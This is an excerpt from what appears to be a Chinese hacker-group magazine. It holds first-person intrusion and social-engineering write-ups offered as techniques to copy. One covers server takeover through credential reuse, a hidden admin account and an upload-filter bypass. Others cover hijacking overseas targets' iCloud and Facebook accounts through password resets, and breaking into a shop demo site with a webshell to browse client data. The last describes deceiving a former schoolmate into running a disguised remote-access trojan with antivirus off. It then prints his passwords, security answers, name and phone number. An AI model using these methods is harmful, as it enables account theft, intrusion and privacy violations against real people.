mysql,管理员这权限分配的 居然读到 root 的密文,如图 1.3.6 DBCharset DBHost localhost : 3305 DBUser Connect MySQL 5.0.27-community-nt running in localhost as appopen@localhost Please select a database: muset Current Bababase: mysol | Current Table: user | Insert | Structure | Drop | Run SQL query/queries on database mysql: SELECT * FROM user LIMIT 0, 30 Query Query#0 : SELECT * FROM user LIMIT 0, 30 Host User string(50) - PRIMARY string(16) - PRIMARY Password string(41) Select_priv Insert_priv Action string(1) string(1) string(1) Edit | Del localhost root 12.2 v -Edit | Del localhost Host User string(50) - PRIMARY string(16) - PRIMARY Password string(41) Select_priv string(1) Insert_priv Action

图 1.3.6 读到 root 密文

解出连接,导不出来,一看 mysql 被降权了,如图 1.3.7

AccountType	512
Caption	S741365WySQL
Description	MySQL 运行账号,请勿删除
Disabled	False
Domain	S741365
FullName	MySQL 运行账号
InstallDate	
LocalAccount	True

图 1.3.7 mysql 被降权

在看管理账号时偶然看到有个 id 跟刚才那个进 mysql 数据库的 id 一样, 那会不会密码也一

样呢?直接通过这个号进服务器,成功进入,如图1.3.8



图 1.3.8 成功进入服务器

然后找到 cmd 路径,居然能执行 netstat 等其他命令了,但是还是无法执行 net user,就上 传了个 aio 上去,直接建隐藏账号,显示 success,用隐藏账号连接,拿下。后来发现原来那 个 id 被加到了 administrators 组,我说怎么权限那么大,这应该又是管理员的疏忽。 后来又研究了下这个后台,发现将允许上传的后缀改为 asp.jpg 上传后会得到 x.asp.jpg , 没有测试阿帕奇环境,应该能解析成功。之后过了几天偶然看到篇 1.7 后台拿 s hell 的文章, 是利用交流论坛那添加后缀然后论坛里上传附件,感觉比这个麻烦点儿,也没测试了。 写的不好,大牛勿喷。

(全文完)责任编辑:飞云

第二章 社会工程学

第1节.海外人士社工特选经典案例

作者: YoCo Smart 来自: Silic Group Hacker Army 网址: http://blackbap.org/

这碗饭不好吃的原因很简单,大陆与海外网络习惯不同,大陆的人能够获得的免费 Email 服务通常只有像 163, yahoo, gmail, sina 等这些邮件商提供的 Email 平台,一旦某个邮件商 的服务器发生安全问题,例如绿某盟经营某个一浪更比一浪浪的新浪服务器后门已经有好 多年了,网民的 Email 安全得不到保障,但是也没有办法。因此,很多时候在社工某个人 的时候,查一下被人脱掉的数据里的密码就能通杀某个人的一片了。而海外,提供免费 Email 服务的你会发现很多。从身边的电话商,家庭网络商,学校,大到 Facebook 等大型 社区,都免费提供域名后缀的 Email 服务。另一方面,这些运营商安全做的普遍比国内好, 至少绝对不会发生某浪被某盟经营后门好多年的情况。本帖习科信息团队就以实例来告诉 第16页/共77页 你海外社工渗透怎么玩的开,希望各位看官能够举一反三[~]海外人士通常也会注册很多社交 网站,例如Facebook,twitter,连熬扒马都有注册,国内XX客们在对这些人士渗透的时 候呢,通常第一步会直接XX库,FB库,XX00库上手,先搜密码,这个做法效率通常非常 低,几乎不可能成功。我说一个我们的做法,以FB为例,第一步确认他/她常用的注册邮 箱,如图2.1.1

facebook



图 2.1.1 确认常用邮箱

Facebook 是打码的,但是认真点不难破,老外的邮箱,多数是

名姓@xxx,名数字@xxx名,姓@xxx,名_姓@xxx

名字其实我们事先已经确定了,不确定看照片也不难猜数字,通常FB 会把首尾放出来,不 缺后缀,Gmail 是明的,lxxx.com 首字母1 四位,那就是live.com 呗确定了邮箱以后,说 明这个邮箱是常用来注册网站的邮箱,ok,我们去网上搜搜他/她在哪些站注册过因为 GFW 的关系,海外华人站通常都是净土,搞几个库不难,尤其是目标人士所在地的当地华人网 站,超市啊,论坛啊,二手啊那么第二步就不细说了,你从哪里搞库是你自己的事了前面 说了,这个邮箱通常用来注册各种网站,我所接触的人中,密码通常与机密邮箱密码不匹 配,90%不匹配,不匹配拿不到机密信息,但是不代表没有价值第三步,就是告诉你怎么不 用拿到他的机密邮箱就能拿到机密信息要知道一件事,iphone 在海外称作街机,为什么是 街机,人手一个呗,有的人三个四个都很正常。只有中国人拿着这个秀高端,说句题外话, 秀高端还是去搜搜挪鸡鸭的 Vertu 吧言归正传注册嘛,保不准就注册了苹果,我遇到的概 率约为 70%,三个里面有俩还多的概率怎么确认他是否注册了苹果?如图 2.1.2



图 2.1.2 发送信息

随便找个 iphone, 连接 wifi 用 imessage 给这个邮箱发消息, 蓝色的就是说明这个人用这

个邮箱注册了 Apple,并且使用 iphone,绿色发送失败了,就说明这个邮箱不是苹果通常 看 Facebook 里面的照片,可以看出 iphone 的端倪,例如照片尺寸,或者有的人干脆手上 拿着 iphone 让别人拍,都很常见,确认这个人用 iphone

控制他的 icloud 比控制她的邮箱更容易也更有价值。我们来看这位兄台控制了某个人的 icloud(不懂 icloud 请自行百度),如图 2.1.3



图 2.1.3 iCloud 界面

据我们的渗透统计,习惯把机密邮箱设置为 iphone 手机收信的不在少数

icloud 的作用就是把重要邮件,通讯录,照片等上传到 icloud 服务器,防止手机丢失后, 重要数据找不回来的问题

咱们渗透不了 icloud 服务器,还渗透不了 icloud 账户? 通讯录,邮件,照片,你还得要什么?

对,还可以定位这个手机在哪里,误差很小 Apple 密码通常非常复杂,不太好搞我们通常都是直接捅了注册邮箱,找回密码,如图 2.1.4



图 2.1.4 找回密码

这里为什么要用一个外国 ip+英文系统+英文浏览器,是有原因的 icloud 服务器为了保证用户的账户安全,是有 ip 区域验证的,如图 2.1.5

💼 १८१३/हेडी: Mac	iPod	iPhone	iPad	Tunes	技术支持	Q	2
我的 Apple ID							
重设密码 您可以通过提供一些信息来更改就重设 Apple ID 柴户密码。			盤	▲ 8的会话己超	时。		
		请再试一次。					
						继续	
					(2	
● 先約 Apple ID 実設密码					J	2 习科 sil	AD.

图 2.1.5 IP 区域验证失败

Apple 注册的地区,进行找回密码就会提示会话结束不过俗话说的好,上有政策下有对策, 搞个人家的注册地区的肉鸡服务器还不容易?海外的网络环境也好,生活环境也好,毕竟 和国内有很多不同,不要以大陆人的思维去渗透海外人,要充分利用他们的环境和习惯, 才能高效的进行工作另外还有前阵子的 iphone 短信欺骗漏洞等等,习科团队作为互联网信 息安全的领头人已经成功的利用过并欺骗成功过。哪个地方也不是针扎不进水泼不进,希 望此贴能给大家带来灵感,在以后的信息安全工作中举一反三。

(全文完) 责任编辑 D.L

第2节.海外人士社工特选经典案例Ⅱ

作者: YoCo Smart 来自: Silic Group Hacker Army 网址: http://blackbap.org/

这碗饭不好吃的原因很简单,大陆与海外网络习惯不同,大陆的人能够获得的免费 Email 这篇帖子要说的仍然是以 Facebook 下手第一步肯定是锁定目标,这个目标来源,当然是某 个站得数据库中我们得到了这货的邮箱和密码,但是想要的信息不在其中,怎么办呢,搜 下 Facebook Facebook 的找回密码:如图 2.2.1

			重新设	定你的	9密码					
			How wor	uld you 发一个都 w ^{mmm} commat	like to rese 建築电域的常義 h@s ^{****} .n ^{**} . t@y ^{*****} .c ^{***} h@t ^{*****} .s ^{***}	t your passv • Rt deninging tw ".tw ".n=".tw	word? 2面和的	在49 Eutu Facebook用戶 不是你吗?	9	
			No longer ha	ave acce	ss to these?				1852 REW	
Facebook 移动 关于我们 Facebook © 201	樹索加友 創建广告 (3・中文(資約	电子名片 包建委页 1)	人们 开发人员	卷页 招聘	地点 隐私政策	应用程序 Cookie	着戏 朱献	童乐 帮助中心	J	つ う科silic Uwww.blackbap.ore

图 2.2.1 FaceBook 的找回密码

我们找到这么几个邮箱,看来邮箱很多啊,但是都不好猜,那么也就是说需要拿到

 Facebook 密码才行

 w*****h@s***.n**.tw
 w*****h@s***.net.tw

 t******t@y****.c**.tw
 t******t@yahoo.com.tw

 w*****h@t****.s***.n**.tw
 w*****h@t****.s***.net.tw

 Facebook 密码和邮箱密码不通杀,我们就拿他 Facebook 看邮箱好了但是 Facebook 有常用

 登陆限制和找回密码二次认证(见图 2.2.2)

al 種 彩 环 的 为 27		
- 348X / 5 2 P33 2 18		
ALL INCOMES INCOMES INCOMES	inservices	北京100日年代秋宵景和武小市1000日100日
	Torio Torio	Black at Sec. Sugar
- 10 000 000 00-		
AV DATA ALA	- mallaffit	
P ALL BR	The R. Wett H. our of the	20 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
道者最來是 :		
C Henry Yeh C Leo Kuo 🗷 Jeff Cheng		
C NHau CH C 北国本 C Stephen S Chang		_
Bill Bill a Chaine Intel		P

图 2.2.2 FaceBook 找回密码认证

这里只有一种认证方法,不是安全提问,是拿他朋友里设置隐私权的照片,让找回密码的 那个人来辨别照片里的人是那个不过好在不管是不是好友,朋友圈都是可见的,让你辨别 照片,下面的名字是让你选择的,不是让你输入的这就好办,首先第一轮筛选,把没有照 片没有朋友圈,没有头像的人好友剔除掉,第一轮大概能筛选掉一到两个好友剩下的,没 办法了,只能挨个筛选了,如图2.2.3

facebook

			重新设	定你的	密码					
			How wor	uld you 发一个银	like to rese 谢祖电邮给表	t your passi ,以便重新	word? 迂我的	部	Isabella Facebook 用户 不是你吗?	2
			No longer ha	ave acce	ss to these?					继续 取消
Facebook 移动 关于我们	樹索 創友 创建广告	电子名片 创建专页	人们 开发人员	考页 招聘	地点 隐私政策	应用程序 Cookie	游戏 条款	音乐 帮助中4) ・习利	4 vilia
Facebook © 201	3、中文(简体	5)						d	Uwww	BLACKBAP.OR

图 2.2.3 挨个筛选好友

资料中的好友可以搜索剩下的,其实就是看这些人的照片,自己来辨别了好吧,本帖就讲

这么多,大家有兴趣,自己弄个 Facebook 来找回密码玩两次就知道了,很有趣的。 (全文完)责任编辑: D.L

第3节. 一个模板引发的一系列血案

作者: ChriSt

来自:法客论坛	-	F4ck	Геат
---------	---	------	------

```
网址: http://team.f4ck.net
```

前言:

我是销售女鞋的,准备弄一个独立的商城,自然就是用 shopex 或者 ecshop 了,一大早的 就去淘宝找模版了。发现一个挺漂亮的模版。如图 2.3.1



图 2.3.1 看上了一模板

就是尼玛的偏贵了一点吧。(刚刚把准备买衣服的钱给域名续费了~)先联系一下看看能不能便宜点。。如图 2.3.2





议价无果,倒是给我发了一个演示站。一个 shopex 的站,测试一下漏洞吧。。。 第 21页/共 77 页

的啪的。爆出来了。如	图 2.3.3 [免費注册] 家服电话(先长途): 400-8888-8
ShopM ^{委注于模板}	AX iQ it
🗧 省页 品牌专区	兑换赠品 超掷促销 会员中心 客户留言 发蕾链接 帮助中心
热门关键字: 清凉夏装 T恤	连衣裙 气质女包 女鞋 男鞋 爆散长裙 短裤 气质女包女鞋 男鞋 爆款长裙 短裤
商品分类	\$^admin123->6e5e08c969b0f56c94b36f9688329ebc^\$
葬版女装 外在 长裙 女裤	货号: 5
包包	商品重量: 10.000 克(g) 销售价: ¥ 6.00
手提包 皮夹锐包	查看详细
时尚女鞋 气质单鞋 运动休闲	续货蚕包 该货品暂时缺货,请在下面输入您的E-mai地址,当我们有现货供应时,我们会发送邮件遭知您↑
热销排行	您的邮箱: 投交
时尚杂志推荐 款~性感	

图 2.3.3 爆出帐号密码

Md5 解密去,进后台,上一句话,连接,如图 2.3.4

🔟 🖂 中国莱刀@20100928 👘 http://w	w.fengniu.net.707/th +			_
D:\wwwroot\shopex\a\			<u>+</u>	🖌 读取
目录(12), 文件(10)	名称	时间	大小	属性
🥯 C:	🚞 api	2011-01-25 19:43:30	0	0777
⊟ 🥪 D:	aspnet_client	2011-01-25 19:43:30	0	0777
= 🚞 www.root	🚞 config	2011-03-30 19:28:32	0	0777
- C shopex	core 🚞	2011-01-25 19:43:25	0	0777
E 🗁 🔤	🚞 home	2011-07-12 09:01:11	0	0777
i api	🚞 images	2011-01-25 19:43:14	0	0777
aspnet_client	🚞 install	2011-01-25 19:43:14	0	0777
Config	🛅 plugins	2011-01-25 19:43:13	0	0777
Core Core	🚞 public	2011-01-25 19:43:08	0	0777
inger	🚞 shopadmin	2011-01-25 19:43:08	0	0777
install	🚞 statics	2011-01-25 19:43:06	0	0777
plugins	a themes	2012-10-26 14:31:55	0	0777
public	1.PHP	2012-10-26 14:32:52	28	0666
👝 shopadmin	🔊 api.php	2009-11-26 19:32:52	381	0666
a statics	💼 error.html	2010-07-28 15:36:56	956	0666
in themes	index.php	2010-07-28 15:36:56	735	0666
🥪 E: 📃	install.txt	2009-11-11 11:25:12	598	0666
🥯 F:	nassnort_client.php	2009-12-18 20:06:16	3485	0666
- 🥯 G: 🐤 🏹 🖊	🗐 robots kt	2008-12-15 17:56:54	58	0666
🖘 H:	and root his coess	2008-12-23 13:53:24	694	0666
I V	📄 Versi n.bxt	2010-10-11 15:43:02	23	0666
	💼 web.config.sample	2009-09-11 16:31:24	1292	0666
See K:				
· · ·	1 N 1			

图 2.3.4 成功连接 shell

这么多个盘符而且每个盘符都可以浏览、 这个好像是客户案例, 亲。。, 如图 2.3.5



图 2.3.5 找到客户案例

打开案例发现好多啊...如图 2.3.6 , 2.3.7



E:\kehu案例\万网	服券器12-15\				土 🖌 读取	
4, 110, 143, 188	目录(43), 文件(0)	名称	R生(词)	大小	風性	
三 🚞 kehu薬例		a 2013-4-7 nights	exy52 2012-04-08 09:05:24	0	0777	
🚞 未续费		2013-2-24 17me	ba.c 2012-04-08 09:09:40	0	0777	
🚞 安峻		2013-2-24 ulove	ibuy.c 2012-04-08 09:40:50	0	0777	
🗀 华夏名		2013-2-26 xy-wlz	.com 2012-04-08 10:28.15	0	0777	
二 万		2013-2-3 99xing	lu.net 2012-04-08 10:51:50	0	0777	
□ 米盟		2013-3-25 hena	nlipin 2012-04-08 10:59:55	0	0777	
	5-8812-15	🚚 🚞 2013-1-12 dntw	omall 2012-04-08 11:09:44	0	0777	
2013	-9-7 nightsexy520.com	📜 🚞 2013-2-18 xiawa	syouh 2012-02-18 14:15:42	0	0777	
- 2013 - 2013	-2-24 lineba con mr.etc	📜 🚞 2013-1-6 xinbao	yingt 2012-04-08 12:47:30	0	0777	
2013	-2-24 ulovebuy.com	Contraction 2013-2-10 yetsh	.com 2012-04-08 12:57:44	0	0777	
2013	-2-3 99ringfu pat	2013-2-21 51 ait	uan.c 2012-04-08 13:36:00	0	0777	
2013	-3-25 hepeplipin con	2013-3-13 0475	ptw.c 2012-04-08 13:56:06	0	0777	
2013	-1-12 datworall.com	2013-3-22 ahtro	iz.com 2012-04-08 14:15:10	0	0777	
2013	-2-18 xiawayouhuo.com	🔁 2013-3-28 horp	y.com 2012-04-08 14:21:36	0	0777	
2013	-1-6 xinbaoyingtong. com	🚞 2013-3-18 jznur	en.com 2012-04-08 15:00:52	0	0777	
2013	-2-10 yctsh.com	2013-3-18 new0	571 2012-04-08 15:04:04	0	0777	
2013	-2-21 Slaituan.com	🛅 2013-3-29 gzgn	f.com 2012-04-08 15:13:56	0	0777	
2013	-3-13 0475ptw.com	2013-3-19 7867	8.net 2012-04-08 15:24:28	0	0777	
2013	-3-22 ahtxdz.com	🔁 2013-3-25 hglpv	v.com 2012-04-08 15:35:32	0	0777	
2013	-3-28 honpy.com	2013-3-6 longqu	ianjia 2012-04-08 15:42:08	0	0777	
2013	-3-18 jznuren.com	2013-3-5 58yigo	0.00 2012/04/08 18:02:58	0	0777	
2013	-3-18 new0571.com	2013-3-1 juleng	sheji 2012-04-08 18:11:36	0	0777	
2013	-3-29 grgnf.com	2013-2-28 ensh	ining 2012-04-08 19:15:56	0	0777	
2013	-3-19 78678.net	🔁 2013-2-18 yanta	ihaiz 2012-04-08 20:03:44	0	0777	
2013	-3-25 hglpw.com	2013-2-9 tx521	com 2012-04-08 20:09:40	0	0777	
		-				

图 2.3.7 丰富的客户案例

第 23页/共 77 页

我随便下载了一个。如图 2.3.8

● 旺旺×q53!	i228.txt - 记事本
文件(12) 編輯	② 格式 ② 蓋者 ② 帮助 ④
旺旺 🖛	
产品名称。	云享主机-翔云主机普及型(ABTN)
成功日:	2012-7-3
到期日,	2013-7-3
王机名。	whza00844
官理赋亏: 祭道夜和	unza e os
百姓峦的; 答理亚台,	http://open_bichipa_com
HuSal	neep 1979 open in contractor
用户名:	
初始密码。	请寄陆控制面板设置musq1密码
主机域名。	Concentration of Concentration
IP地址:	000 1 170 00
硬件配置。	-
CPU: 中方	被
対任・	16
近望: 帯宮:	214
操作系统。	nt 2003 32 ch hzabtn
THE I L N T MAY MAY	

建议您登陆服务器后下载主机管家软件,主机管家支持一键配置网站和数据 库,快速完成网站部署 主机管家软件: http://www.net.cn/static/hosting/housekeeper.asp 服务器配置帮助视频: http://www.net.cn/static/discount/video/help_video.html?aid=service_picshow82_110926s

历内还提供云主机开放管理平台 http://open.hichina.com (即, 主机控制面板)进行系统初次配置, 登录后您将享受到以下功能:
 主机一键重点
 地致引速码重置
 主机硬件信息查看
 自助主机系统初始化
 自助主机系统初始化
 自助主机系统初始化
 自助主机系统初始化
 毛开网页的证程果面管理(仅限Windows主机)
 采现TISD证程果面管理(仅限Windows主机)
 采现TISD证程果面管理(仅限Windows主机)
 采现TISD证程果面管性(仅限Windows主机)
 采现TISD证程果面管出,数据立即上传(仅限Windows主机)
 采现TISD证程果面管出,数据立即上传(仅限Windows主机)
 采取TTBD证程果面管出的客户端,及相关服务进程,包括HCMS,如果删除则将视为您自动放弃此项服务。

图 2.3.8 案例的内容



🔁 E: \站长工具\西贝庄!	资料\					<u>+</u>	~
14. 110. 143. 188	目录(1), 文件(16)		名和	۹۲. ۲	时间	大小	属
🚞 My Documents		~		新建文件夹	2012-11-13 23:19:12	0	077
🚞 MySQL			•	营业执照.gif	2011-02-16 21:33:16	49824	066
🚞 Program File:	5		•	1.PNG	2011-02-16 21:35:10	74169	066
🛄 qiye			•	yyzz. gif	2011-02-17 13:33:42	65497	066
🚞 qiyeceshi			=	营业执照.ipg	2011-03-03 12:00:36	118962	066
C Recycled				贾小松1.jpg	2011-03-06 16:15:10	25724	066
Control K-lass	T- 6			贾小松.ipg	2011-03-06 16:02:08	22381	066
System volume	e information			SAM_2246.jpg	2011-03-06 16:05:18	252826	066
 È⊐_⊤#∂				1334223.jpg	2011-03-06 16:16:30	11632	066
□ □ は长千見			1	1.p7b	2011-03-12 19:19:00	1476	066
			•	照片 017.9%	2011-11-04 23:37:26	15093	066
□ 在线解压 」	压缩			重庆森嘉淼物资有限	2012-05-16 19:48:34	71289	066
🚞 Png转Ico			•	未命名-2.gif	2012-11-23 09:12:32	13230	066
🚞 10001 网页根	夏版800套和近7000个矢量		E	新建 文本文档.txt	2012-11-29 09:03:02	355	066
🚞 100个Drew	nweaver功能扩展插件			照片 032.jpg	2012-11-29 09:12:54	343575	066
🚞 帝国备份				照片 033.jpg	2012-11-29 09:13:44	568238	066
🗆 🗁 西贝庄资料	4		1	Thumbs.db	2012-12-11 13:51:08	43008	066
🚞 新建文	件夹						
🖂 🧰 淘宝							
🚞 淘宝							
□ 整編成	品模板						
🗀 新建文	件夹						

图 2.3.9 浏览文件

得。什么东西都在这电脑里面,目测是一台 XP、自己架设的演示站、在另外一个文件夹发 现 LeapFTP 下载之、、、如图 2.3.10

服务器	*	常规	高级 站点状	态
judoumall.com ledhello.com	^	站点名称	自己的	R
nightsexy520.com ous520.com		地址	200	端口 22
pgjigou.comi renzhe.org sixda.com		用户名	jia	□匿名
t tx521.com1		密码	***	☑ 保存密码
wascn.com xiawayouhuo.com1		本地路径		
xinbaoyingtong.com1 xywlz.com1		远程路径		
yctsh.comi youle001.com1 yzstz.com1		注释		
zuoyoushi shang. com	~			
	E)			~
[添加站点] [册[新站]	息			

图 2.3.10 leapFTP 界面

这不是啃爹吗?客户的站全部在上面。 绝对是一个大后门, 连接上站点名称为自己的站.不知道域名也不好玩呀、 有一个域名的站、继续翻 FTP,如图 2.3.11



jiahuimina	ygpj888.com		际顶级 域名 (com)	2013-3-10	2014-3-10	正常	<u>控制面板</u> 续费
jîahuimîna	gir1800.com	Anna Ma	英文国 际顶级 Coom)	2013-3-10	2014-3-10	正常	控制面板
jishuimina	boyin58.com	BLORDE	英文国 际顶级 域名 (com)	2013-3-10	2014-3-10	正常	控制面板
jishuinina	aloooha.com	1202-10	英文国 际顶级 域名 (com)	2013-3-10	2014-3-10	正常	控制面板
jishuinina	soboid.com	angy t	英文国 际顶级 域名 (com)	2013-3-10	2014-3-10	正常	<mark>控制面板</mark> 续费
jiahuimina	qvmavi.com		英文国 际顶级 域名 (com)	2013-3-10	2014-3-10	正常	<mark>控制面板</mark> 续费
jiahuimina	qinsyh. con		英文国 际顶级 域名 (com)	2013-3-10	2014-3-10	正常	控制面板 续费
	ji ahuimina ji ahuimina ji ahuimina ji ahuimina ji ahuimina ji ahuimina	ji ahuinina yypj888. con ji ahuinina gir1800. con ji ahuinina boyin55. con ji ahuinina aloooha. con ji ahuinina xoboid. con ji ahuinina qunavi. con	ji ahuinina yypj888. con orozown ri ji ahuinina gir1800. con france 24 ji ahuinina boyin56. con b100acci ji ahuinina aloooha. con b100acci ji ahuinina soboid. con b100acci ji ahuinina gunavi. con france ga	jiahuinina ygpj688.con 成2 jiahuinina gir1600.con 전 2 jiahuinina gir1600.con 전 2 jiahuinina boyin56.con 원 2008-2 jiahuinina aloooha.con 전 2008-2009 (con) jiahuinina aloooha.con 전 2008-2009 (con) jiahuinina soboid.con 전 2008-2009 (con) jiahuinina gunavi.con 전 2008-2008 (con)	ji ahuinina ygyj683. con (con) ji ahuinina gir1800. con $\frac{2013-3-10}{2013-3-10}$ ji ahuinina gir1800. con $\frac{2013-3-10}{10000}$ ji ahuinina boyin55. con $\frac{2013-3-10}{10000}$ ji ahuinina aloooha. con $\frac{2013-3-10}{100000}$ ji ahuinina soboid. con $\frac{2013-3-10}{10000000000000000000000000000000000$	ji abainina ygj688.con 総名 (con) 2014-3-10 ji abainina ATTER (con) 第第第 (con) 第第第 (con) 第第第 (con) 1014-3-10 ji abainina ATTER (con) 第第第 (con) 第第第 (con) 第第第 (con) 2013-3-10 2014-3-10 ji abainina boyin56.con 第100-01 第7 (con) 第7 (con) 2013-3-10 2014-3-10 ji abainina abooha.con 1100-01 第7 (con) 第7 (con) 第7 (con) 2014-3-10 ji abainina abooha.con 1100-01 第7 (con) 第7 (con) 2014-3-10 ji abainina abooha.con 1100-01 第7 (con) 第7 (con) 2014-3-10 ji abainina abooha.con 1100-01 第7 (con) 第7 (con) 2014-3-10 ji abainina abooha.con 2014-310 第7 (con) 第7 (con) 2014-3-10 ji abainina abooha.con 2014-310 第7 (con) 第7 (con) 2014-3-10 ji abainina apan, con apan, con 第7 (con) 第7 (con) 2014-3-10	ji abainina ygp 3683. con 2013-3-10 2014-3-10 正常 ji abainina gi 1800. con 五文四 (con) 五文四 (con) 2013-3-10 2014-3-10 正常 ji abainina boyin56. con 五文四 (con) 五文四 (con) 五文四 (con) 五文四 (con) 五文四 (con) 2013-3-10 正常 ji abainina boyin56. con 五丁(con) 五丁(con)

图 2.3.13 查看业务

这个老板钱多起来无聊的时候用软件注册吗?具体的我也不射了。到此为止吧。我只要模版我是纯洁的。我再也不敢在本机架设东西给别人看,特别是黑阔

(全文完) 责任编辑: DM_

第4节. 社工某学校老大

作者:小权

来自: sh3llc0de 安全小组

网址: http://www.sh3llc0de.com/

以前在一个学校读书的,一个傻逼学校老大,在那装 B,捣乱,那时还是小学的时候,老 叼我,我实在受不鸟,过了好几年了,然后家里来了一个老同学,玩了 2 天,我问了一下 那个学校的老大 QQ 多少,得知他的 QQ 之后。

本人就开始邪恶了,这次找到他的QQ 就玩死他,草,OK,带上耳机,听着迈克杰克逊的 歌,行动起来了。

进入正题:

首先我记得他以前的名字是叫周柱

Including the second se		
2	013-02-01	お お お な な 玩 q 飞 阿 ↑ ↑
小权 23:52:29		小权 23:53:44
你是周柱吗		是的
周柱 23:52:40		小权 23:53:49
因因		呵呵,很少玩
四計 22,52,46		周柱 23:53:59
间生 25:52:40		多少级啊
か定		小权 23:54:06
小权 23:53:01		143
我是你爸爸的朋友		国共 22.54.10
小权 23:53:11		同性 23:34:10
我找他有点事情		uto)
周柱 23:53:15		周柱 23:54:20
哦哦		有车吗
周柱 23:53:37		小权 23:54:56
叔叔你玩o飞啊		呵呵,没什么车呢,你能给我冲一辆好车不。
小权 23:53:44		周柱 23:55:16
EAA		你比我大 你帮我冲啊 🗸 🗸
图 2.4.1 假	装叔叔聊天	图 2.4.2 假装叔叔聊天

我先假装扮作一个叔叔的风格,跟他聊天,(扮演角色),如图 2.4.1, 2.4.2

我的聊天风格有点像吧? 呵呵继续聊, 如图 2.4.3, 2.4.4

小权 23:55:26	小权 0:20:28
呵呵,不开玩笑了	我儿子来了,你跟他说吧,呵呵,我先睡觉了,12点了
小权 23:55:30	,明天上班呢 🔫————————————————————————————————————
我找你爸爸有事情呢	小权 0:20:34 法刚来,打招呼
周柱 23:55:40	你好
他不在家啊	周柱 0:20:36
小权 23:56:17	额额
噢。呵呵	周柱 0:20:38

图 2.4.3 聊天过程

图 2.4.4 聊天过程

先无聊,跟他玩了会游戏,培养下感情,(获取信任)QQ 飞车被我虐的,CF 被我虐的,像 SB一样虐!也跟他玩了会游戏,(获取信任)。

首先搞完了,然后我就进入正题了。过程如图 2.4.5, 2.4.6

小权 1:01:28
没啥东西可送给你的
小权 1:01:35
这个是刷QQ礼物的,要就拿去吧,不好就算了
周柱 1:01:57
恩恩
小权 1:02:11
这个要关闭杀毒软件那些东西 不然打不开,
小权 1:02:14
我以前就是这样打开的
周柱 1:02:17
(Ka)

图 2.4.5 进入正题

图 2.4.6 进入正题

然后他就不玩了,我就给他扔一个远去	空木马。一开始他还不怎么信呢。如图 2.4.7,2.4.8
小权 1:02:26	恩
是这样的	周柱 1:03:37
小权 1:02:40	
要刷就要这样。杀毒软件乱搞呢。呵呵。	小X 1:03:55
周柱 1:02:42	
那算了	周柱 1:04:07
周柱 1:02:45	那我要
谢谢	小权 1:04:15
小权 1:02:49	等下我还有很多如那件
哦好吧	小权 1:04:16
小权 1:02:57	软件
本来可以一秒刷上W的	小权 1:04:19
周柱 1:03:07	等下多给你几个哈
?	小权 1:04:25
小权 1:03:12	等下較你用
QQ礼物啊	小权 1:04:29
图 2.4.7 欺骗不成功	てみた アヘモ 图 2.4.8 欺骗成功

图 2.4.7 欺骗不成功 我在胡说八道呢,呵呵,让他相信我。 我说那个刷 QQ 空间礼物呢,他给我扯到 QQ 飞车里。 呵呵,这时候,我想到他对 QQ 飞车等级有兴趣。 那么就从 QQ 飞车等级入手吧!过程如图 2.4.9, 2.4.10



图 2.4.9 聊天过程

图 2.4.10 发送远控

我把远控木马的名字 改了下 改成飞车爽歪歪辅助 V2.5

哈哈,这样就欺骗成功了,飞车爽歪歪 V2.5 注意版本。

我们一般改名字要改逼真一点,最好有版本的,不然不逼真,哈哈。 然后他打开,看见远控还没上线。 我然后直接叫她远程,他还真TM的远程了,我笑。 我重新把我的远控马给他再传一遍,然后打开,就上线了。 然后我想找点 (操作他电脑的时间) 然后随便找了个借口。 反正肉鸡上线了,找个借口说他电脑可能有问题,打不开。 直接问他 QQ 密码,帮他刷,哈哈。过程如图 2.4.11,2.4.12



图 2.4.11 发送远控

图 2.4.12 企图骗取密码

这个傻逼,还真给了,获得密码成功。然后,我想去改他的密码。然后我先找到他的 QQ 密保问题。母亲的名字,配偶的名字,学校的学号,貌似都有点困难,配偶的名字有点难,母亲还 说可以。因为,我也不想去他 QQ 空间找好友 QQ 去一个一个社,对吧,太费时间了,有 时候还找错人了,都不知道他认不认识的配偶。。。 然后就问问题了。看图 2.4.13, 图 2.4.14, 2.4.15 得知他老母名字为:杨雅 之后试了一下他密保问题:老妈的名字。。 结果出错了,草。。 然后灵机一动 我随便找了个借口,说他 QQ 飞车那个啥冻结了。 小权 1:36:11 要他修改密码才能进去,我那时 这个要看情况的 候抖了一下, 周柱 1:36:13 就是想让他心里产生很急那种状 因因 周柱 1:36:21 🗩 🤬密码 态 (1314awgj) 让他快点把密码给我,不然他就 小权 1:36:38 哦好的,密码我记住了 下了。如图 2.4.16 小权 1:36:53 然后我去远控那里,直接远程看 算你是我老爸朋友的儿子 小权 1:36:56 他 我帮你刷几把 屏幕修改,还有键盘记录,只看 周柱 1:37:01 现在就刷吗? 到他一个一个的换问题。。 小权 1:37:02 看到他学号为: 34746, 你有福了 哈哈, 有希望啦。

图 2.4.17 骗取新密码

小权 2:01:43

有时间长联系

图 2.4.18 得到手机号

帮我在挂吗

10

我老爸坐着床上看我玩电脑呢 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~	10/2013/2
小权 1:50:19 着我玩电脑就OK了	周任1314awgj 1:54:35
वन्तवन्	物推体包含叫什么啊
小权 1:50:22	/JMX 1:54:45
2	454-50
小权 1:50:23	(1)(2,1)(4)(0)
是啊	10時業正称
周桂1314awgj 1:50:26	5100 110402
好啊	/\d7 1-54-53
周柱1314awgj 1:50:32	第一下
我先睡了	小叉 1:54:57
周柱1314awgj 1:50:39	不知道你爸爸和你妈妈记不记得
我起来 看等级啊	小权 1:55:01
小权 1:51:22	當作林
	周柱1314awgj 1:55:04
小权 1:51:47	哦哦
我名言院你老妈以前也好像是他同子	小权 1:55:05
小阪 1:51:50 他当你会和叫什么名会会差 他握一下	我叫薰海涛
15月1-53-19	小权 1:55:08
-1-0 1.55.10	6
	1.55:10
在不	100
0	
♥1:53:34 (2) (2) (2) (2) (2) (2) (2) (2) (2) (2)	/PtX 1:55:33
展井1314awgi 1:54:02	101E :
B B	小文 155:30
周柱1314awgi 1:54:21	1,55-30
我妈啊	
	1 0 2013-2-2 【 ((第 / □ □//贝 >)]
图 2.4.14 骗取密保	图 2.4.15 得知答案
	1
你更我 <u>你</u> 也也?	
小权 2:00:19	小权 2:00:46
恩.	恩 好的
小权 2:00:21	小权 2:01:39
不然我怎么登	你手机号码多少
小权 2:00:22	小叔 2:01:43
是不是	
周柱1314awgj 2:00:27	
wgj1314a 新的QQ密码	小牧 2:01:48
小权 2:00:46	有时间越你出去玩
恩好的	周柱1314awgj 2:02:05
小权 2:01:39	15074866919
